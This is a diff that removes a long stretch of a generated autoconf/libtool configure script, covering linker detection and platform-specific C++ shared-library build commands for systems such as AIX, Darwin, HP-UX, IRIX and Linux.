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-# A BSD-compatible nm program.
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-# A symbol stripping program
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-# Used to examine libraries when file_magic_cmd begins "file"
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-# Used on cygwin: DLL creation program.
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-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
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-# The name of the directory that contains temporary libtool files.
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-# How to create reloadable object files.
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-# How to pass a linker flag through the compiler.
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-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
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-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
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-
-# Do we need a version for libraries?
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-# Whether dlopen is supported.
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-# Whether dlopen of programs is supported.
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-# Compiler flag to turn off builtin functions.
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-# Compiler flag to allow reflexive dlopens.
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-# Compiler flag to generate shared objects directly from archives.
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-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds
-archive_expsym_cmds=$lt_archive_expsym_cmds
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
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-module_expsym_cmds=$lt_module_expsym_cmds
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
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-predep_objects=$lt_predep_objects
-
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-postdep_objects=$lt_postdep_objects
-
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-
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-
-# Flag that forces no undefined symbols.
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-
-# Transform the output of nm in a C name address pair
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-
-# This is the shared library runtime path variable.
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-
-# This is the shared library path variable.
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-
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-__EOF__
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-
- mv -f "$cfgfile" "$ofile" || \
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- chmod +x "$ofile"
-
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- # If there is no Makefile yet, we rely on a make rule to execute
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-ac_ext=c
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-ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
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-elif test "$with_gnu_ld" = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNU ld" >&5
-$as_echo_n "checking for GNU ld... " >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for non-GNU ld" >&5
-$as_echo_n "checking for non-GNU ld... " >&6; }
-fi
-if ${lt_cv_path_LD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -z "$LD"; then
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
- lt_cv_path_LD="$ac_dir/$ac_prog"
- # Check to see if the program is GNU ld. I'd rather use --version,
- # but apparently some variants of GNU ld only accept -v.
- # Break only if it was the GNU/non-GNU ld that we prefer.
- case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
- *GNU* | *'with BFD'*)
- test "$with_gnu_ld" != no && break
- ;;
- *)
- test "$with_gnu_ld" != yes && break
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
-else
- lt_cv_path_LD="$LD" # Let the user override the test with a path.
-fi
-fi
-
-LD="$lt_cv_path_LD"
-if test -n "$LD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LD" >&5
-$as_echo "$LD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-test -z "$LD" && as_fn_error $? "no acceptable ld found in \$PATH" "$LINENO" 5
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if the linker ($LD) is GNU ld" >&5
-$as_echo_n "checking if the linker ($LD) is GNU ld... " >&6; }
-if ${lt_cv_prog_gnu_ld+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- # I'd rather use --version here, but apparently some GNU lds only accept -v.
-case `$LD -v 2>&1 </dev/null` in
-*GNU* | *'with BFD'*)
- lt_cv_prog_gnu_ld=yes
- ;;
-*)
- lt_cv_prog_gnu_ld=no
- ;;
-esac
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_gnu_ld" >&5
-$as_echo "$lt_cv_prog_gnu_ld" >&6; }
-with_gnu_ld=$lt_cv_prog_gnu_ld
-
-
-
- # Check if GNU C++ uses GNU ld as the underlying linker, since the
- # archiving commands below assume that GNU ld is being used.
- if test "$with_gnu_ld" = yes; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
-
- # If archive_cmds runs LD, not CC, wlarc should be empty
- # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to
- # investigate it a little bit more. (MM)
- wlarc='${wl}'
-
- # ancient GNU ld didn't support --whole-archive et. al.
- if eval "`$CC -print-prog-name=ld` --help 2>&1" | \
- grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_CXX=
- fi
- else
- with_gnu_ld=no
- wlarc=
-
- # A generic and very simple default shared library creation
- # command for GNU C++ for the case where it uses the native
- # linker, instead of GNU ld. If possible, this setting should
- # overridden to take advantage of the native linker features on
- # the platform it is being used on.
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- fi
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
-else
- GXX=no
- with_gnu_ld=no
- wlarc=
-fi
-
-# PORTME: fill in a description of your system's C++ link characteristics
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-ld_shlibs_CXX=yes
-case $host_os in
- aix3*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- case $ld_flag in
- *-brtl*)
- aix_use_runtimelinking=yes
- break
- ;;
- esac
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_CXX=''
- hardcode_direct_CXX=yes
- hardcode_libdir_separator_CXX=':'
- link_all_deplibs_CXX=yes
-
- if test "$GXX" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_CXX=yes
- else
- # We have old collect2
- hardcode_direct_CXX=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_CXX=yes
- hardcode_libdir_flag_spec_CXX='-L$libdir'
- hardcode_libdir_separator_CXX=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_CXX=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_CXX='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_cxx_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
-
- archive_expsym_cmds_CXX="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec_CXX='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_CXX="-z nodefs"
- archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_cxx_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_CXX=' ${wl}-bernotok'
- allow_undefined_flag_CXX=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_CXX='$convenience'
- archive_cmds_need_lc_CXX=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_CXX=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_CXX='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_CXX=no
- fi
- ;;
-
- chorus*)
- case $cc_basename in
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_CXX='-L$libdir'
- allow_undefined_flag_CXX=unsupported
- always_export_symbols_CXX=no
- enable_shared_with_static_runtimes_CXX=yes
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_CXX=no
- fi
- ;;
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_CXX='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_CXX='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_CXX=no
- hardcode_direct_CXX=no
- hardcode_automatic_CXX=yes
- hardcode_shlibpath_var_CXX=unsupported
- whole_archive_flag_spec_CXX=''
- link_all_deplibs_CXX=yes
-
- if test "$GXX" = yes ; then
- lt_int_apple_cc_single_mod=no
- output_verbose_link_cmd='echo'
- if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then
- lt_int_apple_cc_single_mod=yes
- fi
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- archive_cmds_CXX='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- else
- archive_cmds_CXX='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- fi
- module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- fi
- module_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_CXX='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_CXX=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- case $cc_basename in
- ec++*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- freebsd[12]*)
- # C++ shared libraries reported to be fairly broken before switch to ELF
- ld_shlibs_CXX=no
- ;;
- freebsd-elf*)
- archive_cmds_need_lc_CXX=no
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF
- # conventions
- ld_shlibs_CXX=yes
- ;;
- gnu*)
- ;;
- hpux9*)
- hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
- export_dynamic_flag_spec_CXX='${wl}-E'
- hardcode_direct_CXX=yes
- hardcode_minus_L_CXX=yes # Not in the search PATH,
- # but as the default
- # location of the library.
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aCC*)
- archive_cmds_CXX='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "[-]L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- archive_cmds_CXX='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- hpux10*|hpux11*)
- if test $with_gnu_ld = no; then
- hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_CXX='+b $libdir'
- ;;
- *)
- export_dynamic_flag_spec_CXX='${wl}-E'
- ;;
- esac
- fi
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_direct_CXX=no
- hardcode_shlibpath_var_CXX=no
- ;;
- *)
- hardcode_direct_CXX=yes
- hardcode_minus_L_CXX=yes # Not in the search PATH,
- # but as the default
- # location of the library.
- ;;
- esac
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aCC*)
- case $host_cpu in
- hppa*64*)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- if test $with_gnu_ld = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- fi
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- interix3*)
- hardcode_direct_CXX=no
- hardcode_shlibpath_var_CXX=no
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds_CXX='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_CXX='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
- irix5* | irix6*)
- case $cc_basename in
- CC*)
- # SGI C++
- archive_cmds_CXX='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- # Archives containing C++ object files must be created using
- # "CC -ar", where "CC" is the IRIX C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- old_archive_cmds_CXX='$CC -ar -WR,-u -o $oldlib $oldobjs'
- ;;
- *)
- if test "$GXX" = yes; then
- if test "$with_gnu_ld" = no; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib'
- fi
- fi
- link_all_deplibs_CXX=yes
- ;;
- esac
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
- archive_expsym_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs'
- ;;
- icpc*)
- # Intel C++
- with_gnu_ld=yes
- # version 8.0 and above of icpc choke on multiply defined symbols
- # if we add $predep_objects and $postdep_objects, however 7.1 and
- # earlier do not add the objects themselves.
- case `$CC -V 2>&1` in
- *"Version 7."*)
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- *) # Version 8.0 or newer
- tmp_idyn=
- case $host_cpu in
- ia64*) tmp_idyn=' -i_dynamic';;
- esac
- archive_cmds_CXX='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- esac
- archive_cmds_need_lc_CXX=no
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
- whole_archive_flag_spec_CXX='${wl}--whole-archive$convenience ${wl}--no-whole-archive'
- ;;
- pgCC*)
- # Portland Group C++ compiler
- archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
